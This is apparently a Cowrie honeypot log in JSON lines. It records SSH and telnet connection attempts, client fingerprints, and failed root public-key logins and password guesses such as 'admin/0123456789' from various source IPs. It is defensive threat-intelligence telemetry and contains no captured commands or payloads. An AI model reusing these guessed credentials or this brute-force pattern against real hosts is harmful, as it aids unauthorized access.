{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:22.674902Z","src_ip":"80.94.92.186","session":"9df5ba41c20b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":58768,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fbe26b5377c","protocol":"ssh","message":"New connection: 176.32.193.16:58768 (159.203.135.109:22) [session: 0fbe26b5377c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:27.804670Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:27.945347Z","src_ip":"176.32.193.16","session":"0fbe26b5377c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":58774,"dst_ip":"159.203.135.109","dst_port":22,"session":"18d8ee587c82","protocol":"ssh","message":"New connection: 176.32.193.16:58774 (159.203.135.109:22) [session: 18d8ee587c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:28.079680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:28.085166Z","src_ip":"176.32.193.16","session":"18d8ee587c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:28.224034Z","src_ip":"176.32.193.16","session":"18d8ee587c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:28.373223Z","src_ip":"176.32.193.16","session":"18d8ee587c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.219.62.79","src_port":46466,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1a8374626fa","protocol":"ssh","message":"New connection: 91.219.62.79:46466 (10.17.0.5:22) [session: b1a8374626fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.166854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.171285Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.254478Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:d0:29:09:07:f6:e5:3a:19:7b:50:37:8a:b5:2c:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzE/YwAT8G5HHukVmcQmjJTs+dnq+GhTlO1f1ypnC1w52g56PL2sxd4aKNTz8z9hK03eicZKRFgV6O72Ylcr2tBMAVcuBhRgyWTOOj27D1vkYl2E80mGxnzZ7p1hwUD0m/IXpynZ1xNFQrjyFw3xf4PEhADcRVDlEUrNwS9YeThoCbik96zkZsuZUaVUNMwsoFhgQnYfFY1rZPnKEg7r+lGvVJGNokOrlFWzblj1rbfzqg7g4XOrs7FvfN2Zq5wR4SNi56BiP6LnkqlpEAcXJznakxnn06KfuqMB/jeYJzcu2LATkuagaemaeUzDy6R0GB60IFQmMgZzGKojpTuqkJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:d0:29:09:07:f6:e5:3a:19:7b:50:37:8a:b5:2c:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.649695Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:d0:29:09:07:f6:e5:3a:19:7b:50:37:8a:b5:2c:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzE/YwAT8G5HHukVmcQmjJTs+dnq+GhTlO1f1ypnC1w52g56PL2sxd4aKNTz8z9hK03eicZKRFgV6O72Ylcr2tBMAVcuBhRgyWTOOj27D1vkYl2E80mGxnzZ7p1hwUD0m/IXpynZ1xNFQrjyFw3xf4PEhADcRVDlEUrNwS9YeThoCbik96zkZsuZUaVUNMwsoFhgQnYfFY1rZPnKEg7r+lGvVJGNokOrlFWzblj1rbfzqg7g4XOrs7FvfN2Zq5wR4SNi56BiP6LnkqlpEAcXJznakxnn06KfuqMB/jeYJzcu2LATkuagaemaeUzDy6R0GB60IFQmMgZzGKojpTuqkJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.653260Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:35:3d:3b:d1:50:84:ed:07:03:c9:2e:1f:82:a5:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7vXGqRCrWllw9wKPO2YwvrcltmUt4LjKB9vbBPS7IVEheH4HgRNlPbTV5pZmSfixDRCkLoV/PppIytMKF85I+zzLppQ7S5GJ0oAMzvVsKe0upa9itvjDhH+opldCg+UMObT81KbKB67TC0gvMY92HmH4WL+iZTc3YODrMCCaYweTD92PQJOnnjVJ0h+TuxSgEdTOQxPrplG8CcEtoOmlUn0aMUX0Kydr/HDV+SxiwIXcq+bfgTrNS7h/bDNpoYNyv0ZFvSiqkS9gP70BmWi8cMlSkKaJSfL9OzfQZu9BZIhmctSifuGg8TxZQ2+4wSDN/dbYSp715TAXGu0Ob1M++Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:35:3d:3b:d1:50:84:ed:07:03:c9:2e:1f:82:a5:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.736430Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:35:3d:3b:d1:50:84:ed:07:03:c9:2e:1f:82:a5:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7vXGqRCrWllw9wKPO2YwvrcltmUt4LjKB9vbBPS7IVEheH4HgRNlPbTV5pZmSfixDRCkLoV/PppIytMKF85I+zzLppQ7S5GJ0oAMzvVsKe0upa9itvjDhH+opldCg+UMObT81KbKB67TC0gvMY92HmH4WL+iZTc3YODrMCCaYweTD92PQJOnnjVJ0h+TuxSgEdTOQxPrplG8CcEtoOmlUn0aMUX0Kydr/HDV+SxiwIXcq+bfgTrNS7h/bDNpoYNyv0ZFvSiqkS9gP70BmWi8cMlSkKaJSfL9OzfQZu9BZIhmctSifuGg8TxZQ2+4wSDN/dbYSp715TAXGu0Ob1M++Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.739550Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:64:d2:6e:16:50:dd:22:1f:09:8d:53:04:2d:4b:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv2ciHj0VsnEZk51S4PmRh4fJh6LjCYelc3W/+8FhCxB4oywmFZlUTS/kYm/0NYHoK/yPVVIteU+vobb85zf7ou0Jl4hot+JrHtEMtWF9QIaqCkp7Ox1t203MQF+HF1KO14ZGn0A2+DyNqV0T+UgdADVI1XB5I98aK4W/SbGt25EXkQ3o+Axv9CDiSEB1hxSoYFurki5b0R1dgt5v4VlAbsp5IDrd0AkVsgPsyxB2TVbq8s/Wrw3ptSG9TcmXQH/RQ0tUJR69vgzRwwmAPBf4ChCCTbXEkfBKmDXXDxnwpS0AcIA8scCNDJ6pEhY5LQRSDJpGsbacsRYgH/vHBKSOvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:64:d2:6e:16:50:dd:22:1f:09:8d:53:04:2d:4b:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.823747Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:64:d2:6e:16:50:dd:22:1f:09:8d:53:04:2d:4b:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv2ciHj0VsnEZk51S4PmRh4fJh6LjCYelc3W/+8FhCxB4oywmFZlUTS/kYm/0NYHoK/yPVVIteU+vobb85zf7ou0Jl4hot+JrHtEMtWF9QIaqCkp7Ox1t203MQF+HF1KO14ZGn0A2+DyNqV0T+UgdADVI1XB5I98aK4W/SbGt25EXkQ3o+Axv9CDiSEB1hxSoYFurki5b0R1dgt5v4VlAbsp5IDrd0AkVsgPsyxB2TVbq8s/Wrw3ptSG9TcmXQH/RQ0tUJR69vgzRwwmAPBf4ChCCTbXEkfBKmDXXDxnwpS0AcIA8scCNDJ6pEhY5LQRSDJpGsbacsRYgH/vHBKSOvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.828233Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:48:1f:51:3f:01:eb:61:b6:89:fe:db:3b:65:cc:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqLwVAnTYNeZhpUNOgkxyv1QX2WP/JT/uKwdwCF3I0JyUUP9kEVzPw8+IwTrVcXY7d8J7gadtCdi2NV0DZM0jVW8vichpuf9abhsgkSVdDz5I2hoI7B5C+DLMpKUSo7xM5tVwWTLf8/89Vg0xFpz8cFjzWq/RWVUq7oEZdUDWD8GAJiqKEL8hTDs2qUO2P3FsGcXh31Ugah9V/+Y3YXWZai7LlkP++pBA+EMCgW1xAaIX2EojDOgRMmRAJR4F7D5ecZmN4NGOyZEbIcehYbeRiwyiQCfDgsYppzV4GwH88sCFA/AQ2J+6826gg5AwSTxWhaXmi3aW61cwPwkNIvGpWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:48:1f:51:3f:01:eb:61:b6:89:fe:db:3b:65:cc:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.910730Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:48:1f:51:3f:01:eb:61:b6:89:fe:db:3b:65:cc:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqLwVAnTYNeZhpUNOgkxyv1QX2WP/JT/uKwdwCF3I0JyUUP9kEVzPw8+IwTrVcXY7d8J7gadtCdi2NV0DZM0jVW8vichpuf9abhsgkSVdDz5I2hoI7B5C+DLMpKUSo7xM5tVwWTLf8/89Vg0xFpz8cFjzWq/RWVUq7oEZdUDWD8GAJiqKEL8hTDs2qUO2P3FsGcXh31Ugah9V/+Y3YXWZai7LlkP++pBA+EMCgW1xAaIX2EojDOgRMmRAJR4F7D5ecZmN4NGOyZEbIcehYbeRiwyiQCfDgsYppzV4GwH88sCFA/AQ2J+6826gg5AwSTxWhaXmi3aW61cwPwkNIvGpWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.914274Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:2d:85:d8:6a:42:49:a0:29:9c:0f:9d:dd:a4:1a:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWVlr31Eud9XH0O4YqnsyCWtXrCyXXRMOEHjogJwaNfWBPy31ozJaxJlcY6pZhyYMht0nwGSh6O90KyBdZ+35aVbEAERiPhR7sKKhRDxxlkCOkxEPQE5OTxlIiLlcWzP8/ZhTSOYTvauVc8Z7oR1DILLKKww8d2C+mim2YI4UpRq0H413o7WY3cTzBieIw+JbeU7Jwy/8haHVUd+QHhBLHz9HJcov0C90TKab8j3ARey/8ybve58CQ/b4YRvIoa9HIej4Xd6u0ebECewXB7M6pEeIgQq9itaMG19cUQFz0pMLTXQ3nTJXylW8r8oAJ35O2Dy8AMWprPyVaV2jM80FPXqzFKyMgHg4mplMz4xjD/ZpyrZrOExJ/TI9BzSJEflpBeJETejhHPYnMgFsi2CQHtI4wZ48MMnoVQovk13sY8XzLeYoWNdj6P0vzQ710BpX+WP/NUwIbv9Dcv1TmeXoG/OJyRUaYuHiABJYvFAmI9mTHiFsB0NRkDJ3piuloPl9hE+IJZhlawqJKz9Y0jYvYRsb8itoSU7kwyDXoCrlJLHJDPW25yhz7s5PbHR3tBW+Nm92PK4gdJdmYlAWJtvpf52C7zzTXzl1P6fYQyWruWfY0OMibanTkJ+eM8xitbrlTL4KeHCrHrIQnXOHx1+ky5jtRojOdLGCBY+kuXbQoHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:2d:85:d8:6a:42:49:a0:29:9c:0f:9d:dd:a4:1a:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:32.997688Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:2d:85:d8:6a:42:49:a0:29:9c:0f:9d:dd:a4:1a:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWVlr31Eud9XH0O4YqnsyCWtXrCyXXRMOEHjogJwaNfWBPy31ozJaxJlcY6pZhyYMht0nwGSh6O90KyBdZ+35aVbEAERiPhR7sKKhRDxxlkCOkxEPQE5OTxlIiLlcWzP8/ZhTSOYTvauVc8Z7oR1DILLKKww8d2C+mim2YI4UpRq0H413o7WY3cTzBieIw+JbeU7Jwy/8haHVUd+QHhBLHz9HJcov0C90TKab8j3ARey/8ybve58CQ/b4YRvIoa9HIej4Xd6u0ebECewXB7M6pEeIgQq9itaMG19cUQFz0pMLTXQ3nTJXylW8r8oAJ35O2Dy8AMWprPyVaV2jM80FPXqzFKyMgHg4mplMz4xjD/ZpyrZrOExJ/TI9BzSJEflpBeJETejhHPYnMgFsi2CQHtI4wZ48MMnoVQovk13sY8XzLeYoWNdj6P0vzQ710BpX+WP/NUwIbv9Dcv1TmeXoG/OJyRUaYuHiABJYvFAmI9mTHiFsB0NRkDJ3piuloPl9hE+IJZhlawqJKz9Y0jYvYRsb8itoSU7kwyDXoCrlJLHJDPW25yhz7s5PbHR3tBW+Nm92PK4gdJdmYlAWJtvpf52C7zzTXzl1P6fYQyWruWfY0OMibanTkJ+eM8xitbrlTL4KeHCrHrIQnXOHx1+ky5jtRojOdLGCBY+kuXbQoHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:33.001851Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:33.087122Z","src_ip":"91.219.62.79","session":"b1a8374626fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":45174,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2baec7d6aa6","protocol":"ssh","message":"New connection: 160.251.185.39:45174 (10.17.0.5:22) [session: d2baec7d6aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:42.331063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:42.335732Z","src_ip":"160.251.185.39","session":"d2baec7d6aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:42.532675Z","src_ip":"160.251.185.39","session":"d2baec7d6aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer","message":"login attempt [ubuntu/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:43.312940Z","src_ip":"160.251.185.39","session":"d2baec7d6aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:44.502978Z","src_ip":"160.251.185.39","session":"d2baec7d6aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54412,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67c0f96b27b","protocol":"telnet","message":"New connection: 180.235.129.180:54412 (10.17.0.5:23) [session: a67c0f96b27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:50.341849Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54410,"dst_ip":"10.17.0.5","dst_port":23,"session":"19623d59c68a","protocol":"telnet","message":"New connection: 180.235.129.180:54410 (10.17.0.5:23) [session: 19623d59c68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:20:51.350657Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":43828,"dst_ip":"10.17.0.5","dst_port":22,"session":"9504f2128683","protocol":"ssh","message":"New connection: 58.186.20.143:43828 (10.17.0.5:22) [session: 9504f2128683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:21:39.484383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:21:39.489319Z","src_ip":"58.186.20.143","session":"9504f2128683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:21:39.741655Z","src_ip":"58.186.20.143","session":"9504f2128683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0123456789","message":"login attempt [admin/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:21:40.782017Z","src_ip":"58.186.20.143","session":"9504f2128683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:21:42.036983Z","src_ip":"58.186.20.143","session":"9504f2128683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.17004203796387,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:21:56.511806Z","src_ip":"180.235.129.180","session":"a67c0f96b27b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30222,"dst_ip":"159.203.135.109","dst_port":22,"session":"f655e7cabe87","protocol":"ssh","message":"New connection: 194.59.206.2:30222 (159.203.135.109:22) [session: f655e7cabe87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:14.856127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:22:14.861614Z","src_ip":"194.59.206.2","session":"f655e7cabe87","protocol":"ssh"}
